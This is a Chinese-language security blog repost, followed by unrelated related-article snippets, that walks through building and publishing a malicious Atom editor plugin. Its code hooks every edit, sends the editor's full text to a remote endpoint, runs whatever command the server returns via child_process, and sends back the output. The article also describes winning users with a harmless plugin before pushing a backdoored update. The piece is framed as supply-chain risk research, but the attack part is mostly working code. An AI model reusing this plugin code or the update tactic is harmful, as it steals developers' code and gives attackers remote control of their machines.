“钓鱼”插件实战:看我如何让粗心开发者的编辑器自动变身远控

本文讲的是“钓鱼”插件实战:看我如何让粗心开发者的编辑器自动变身远控,在这篇文章中,我们将探讨如何通过利用编辑器中的插件来攻击开发人员。因此,我们将研究Atom插件的工作原理及安全性。

背景

在生活中,我们都需要用到编辑器。但是,当选择一个编辑器时,每个人都有自己的看法。有些人喜欢像Atom或者Sublime这样的现代编辑器,而另外一些人更喜欢坚持使用Vim或Emacs。无论你选择什么,你最有可能想以某种方式进行自定义操作。

现代编辑的插件和扩展是强大的。除了外观上的一些自定义之外(字体,配色方案等),它们还允许您提供一系列功能,使您的生活变得更轻松:从自动完成和缩位,代码美化和git集成等插件,您应该能够找到一个适合您需要的插件。如果没有,你可以创建和发布一个。

通常情况,用户下载新的插件以满足他们的需求,插件列表越来越多(因为谁有时间回去删除旧的未使用的插件?),许多编辑支持自动更新,以确保及时Bug及更新功能。

对于这篇文章,我将专注于Atom,这是Github上最闪亮的编辑器。根据他们的网站,这是一个“21世纪的黑客文本编辑器”。Atom的用户群不断增长,以及各种各样的软件包。您甚至可以使用黑技巧在Chromebook上安装Atom,它们绕过了ChromeOS上的基本安全模型。

目标

我的任务是探索恶意Atom插件危害程度。我们不知道我们面临什么障碍,不知道Atom有没有安全防护措施来阻止我们的恶意插件。事实证明,没有防护措施,几个小时内,我不仅发布了我的第一个应用程序,而且更新了它,以包含一点点恶意代码。

计划很简单:

第一步:发布一个简单的软件包(plugin)

第二步:测试更新过程

如果您打算创建一个恶意软件包,您将首先创建一个有用的非恶意软件包,创建一个庞大的用户群,然后推送一个可以注入不好的代码的更新。

第三步:从Atom包中实际测试我们可以实现的内容

我们需要确定我们的恶意软件是否在沙盒中运行以及我们拥有哪些系统库访问权限等。

插件编写

插件的开发比较简单。有很多指南来创建和发布Atom的包,包括在他们的网站上的一个详细的描述。

第一步

1. 生成一个新的包:

cmd + shift + p
Package Generator: Generate Package

这将为您提供一个简单的切换方法的包,我们将在稍后使用:

toggle: ->
console.log 'touch-type-teacher was toggled!'

2.将代码推送到Git repo

git init
git add .
git commit -m "First commit"
git remote add origin <remote_repo_url>
git push -u origin master

3.发布您的Atom包

apm-beta publish minor

第二步

1. 在初始设置完成后,对创建的包进行修改,不然很容易发现:

toggle: ->
console.log 'touch-type-teacher was toggled!'
console.log 'update test'

2.推送到Github:

git commit -a -m 'Add console logging'
git push

3.发布新版本:

apm-beta publish minor

第三步

我们看到Atom的包是建立在node.js上的,初始测试是看我们有哪些模块可以访问。

从请求包开始测试是一个很好的开始,因为它允许数据从受害者的机器中取出并发送到我们这边。

通过快速挖掘发现,很容易添加一个依赖关系到我们的包中:

npm install --save request@2.73.0
apm install

在我们的代码中导入:

request = require'request '

更新我们的代码以将一些数据发布到我们的远程端点:

toggle: ->
   request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>      
console.log 'Data sent!'

有了这个,一旦toggle函数被调用,那么我们的包就会自动发送信息给我们。现在我们有一种获取信息的方法,我们需要看看我们能够访问哪些信息。

更进一步

先前,执行命令是硬编码的,现在我们修改代码使执行的命令是动态接收的! 之前我们创建的Atom包中,只有toggle函数被调用时才会触发执行命令,现在我们将修改代码,完成一旦一个按键被按下就会触发执行命令的函数。

首先我们需要去hook当前编辑器的onChange事件:

module.exports = TouchTypeTeacher =
touchTypeTeacherView: null
modalPanel: null
subscriptions: null
editor: null
activate: (state) ->
@touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState)
@modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false)
@editor = atom.workspace.getActiveTextEditor()
@subscriptions = new CompositeDisposable
@subscriptions.add atom.commands.add 'atom-workspace', 'touch-type-teacher:toggle': => @toggle()
@subscriptions.add @editor.onDidChange (change) => @myChange()

然后,在Atom包中创建myChange函数,利用该函数将执行一些恶意的操作:

myChange: ->
   request 'http://my-remote-endpoint.com/test?data=' +@editor.getText(), (error, response, body) =>
       {spawn} = require 'child_process'
       test = spawn body
       console.log 'External code to run:n' + body
       test.stdout.on 'data', (data) ->
          console.log 'sending output'
          request 'http://my-remote-endpoint.com/run?data=' + data.toString().trim(), (error, response, body) =>
              console.log 'output sent!'

这段代码片段实现了我们想要完成的功能,编辑器每发生一个变化,我们都会将编辑器中的文本发送到我们的服务器,然后服务器会返回一个新的命令到用户的机器上执行。 编辑组执行命令并将执行结果发送到我们的服务器。

演示

下面是它的一个演示。在左侧,您将看到用户在编辑器中输入内容,右边您将看到我们的远程服务器上的日志。

总结

我们创建了一个插件,并发布了它,但这个插件并不具有任何的危害。此插件是在没有沙盒,没有任何权限限制的环境中运行的,而且也没有任何的防护去阻止我们窃取用户机器上的数据信息。即使安全研究人员会对上传的软件代码进行了某种分析,但攻击者也可以在软件运行时远程执行恶意代码。自动更新意味着即使我们的插件今天很好,但或许这款插件明天可能就会被植入了后门程序。

因此,迫使开发人员仅使用受控的工具/插件集合似乎很恶劣,但如果不受控制,安全性越来越难保证。

原文发布时间为:2017年9月5日

本文作者:愣娃

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-08-21 06:41:00

“钓鱼”插件实战:看我如何让粗心开发者的编辑器自动变身远控的相关文章

Android Studio 插件开发详解三:翻译插件实战

转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/details/78113868 本文出自[赵彦军的博客] 一:概述 如果不了解插件开发基础的同学可以先看, Android Studio 插件开发详解一:入门练手 Android Studio 插件开发详解二:工具类 在上面的两篇文章,讲解了插件开发的基础,今天就来一个优点难度的项目,插件的名字叫 AndroidPluginTranslate , 顾名思义就是可以翻译文案的插件,废话不多说,先看最

《Android 平板电脑开发实战详解和典型案例》——2.5节数字选择控件—— NumberPiker

2.5 数字选择控件-- NumberPiker Android 平板电脑开发实战详解和典型案例 上一节中,介绍了ActionBar的基本知识及简单案例,本节将介绍Android 3.0新增控件数字选择控件NumberPicker,主要内容包括其基本知识以及一个简单的案例. 2.5.1 数字选择控件基本知识 数字选择控件NumberPiker可以理解成由两个Button中夹着一个EditText组成,EditText用来显示数字,而两个Button按钮则控制EditText中数字的增减.数字选择

《Android 平板电脑开发实战详解和典型案例》——2.1节搜索框控件—— SearchView

2.1 搜索框控件-- SearchView Android 平板电脑开发实战详解和典型案例 本节将介绍Android 3.0新增控件--搜索框控件SearchView,主要内容包括搜索框控件SearchView的基本知识以及一个简单的案例. 提示 本书中的案例都是在540×960分辨率的真机上调试通过的,若执行本书中案例的设备分辨率不是540×960,可能会有显示不正常的情况.但大部分案例都是没有问题的,尤其是最后第14.第15.第16章的大案例都是自适应于各种屏幕分辨率的. 2.1.1 搜索

插件-网页弹出手动排序数字 求程序 软件自动完成排序

问题描述 网页弹出手动排序数字 求程序 软件自动完成排序 怎么做一个小插件 类型的 实现网页弹出来的 123456按从小到大的 自动排序

看上去很美的开发者大会——极路由背后的尴尬

   "只为极蜜笑一天,无人知是赔千万"--这是去年极路由最让人印象深刻的solgan,今年极路由没有鲜明的slogan.去年的发布会上,硬件是鲜明的主角,而这周的发布没有硬件. 7月15日,通过贯穿全场的HiWiFi OS.HiCloud.开放等关键词,极路由试图像手机上的两大操作系统一样做一次开发者大会.路由器界的开发者大会没有前例,发布会当天的视觉效果和执行也是高大上档次. 霸特,不得不说,整场发布透露了极路由作为一家路由器创业公司的诸多尴尬. 吹水 吹水是任何一家已经开始卖货的

WF4.0实战(五):实现一个直观易扩展的自动测试框架

概述: 这篇文章用WF实现一个软件自动测试框架,这个框架你可以随意扩展.本这个框架根据WF流程去自动地点击你的页面:自动的在你的文 本上输入值:自动的做一些人为的操作.也就是说WF相当于一个测试用户,自动地帮你测试软件.只需要你定制测试流程. 写一个待测试的软件: 这里我写了一个很简单的待测试的软件:一个加法运算.界面如下图,就一个Form. 后台代码如下: 1 public partial class MainForm : Form 2 { 3 public MainForm() 4 { 5

看微博危机 中国的微博之路还有多远

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 随着科技的发展,最新的数据报告显示2011智能终端,智能手机的销售量已经可以和PC,笔记本的数量匹敌,在未来几年内移动互联网用户将超过PC互联网,对于和移动互联网结合紧密的微博发展可谓是一片大好,对于微博的快速发展,笔者认为有2大重要危机: 一.过早的微博营销 随着微博的火爆,它传播的及时性和覆盖面,很多商家已经定上了这块肥肉,相信大家经常在

帝国cms编辑器自动排版插件

主要功能: 1.自动排版,将编辑器内的内容自动排版,段落自动居左,图片自动居中,清除多余空行,可定制段前是否空格. 2.图片排版,将编辑器中的图片自动居中,免去每张单独设置的烦恼. 3.简繁转换,可在编辑器中直接进行简繁转换,一键操作,方便快捷. 4.自动排版后,代码里只保留段落标签<p></p>,粗体标签<strong></strong>,(<b></b>会被自动替换成<strong></strong>),垃

jQuery插件原来如此简单 jQuery插件的机制及实战_jquery

jQuery插件的种类 1.封装对象方法 这种插件是将对象方法封装起来,用于对通过选择器获取的jQuery对象进行操作,是最常见的一种插件.此类插件可以发挥出jQuery选择器的强大优势,有相当一部分的jQuery的方法,都是在jQuery脚本库内部通过这种形式"插"在内核上的,例如parent()方法,appendTo()方法等. 2.封装全局函数 可以将独立的函数加到jQuery命名空间下.如常用的jQuery.ajax()方法.去首尾空格的jQuery.trim()方法,都是jQ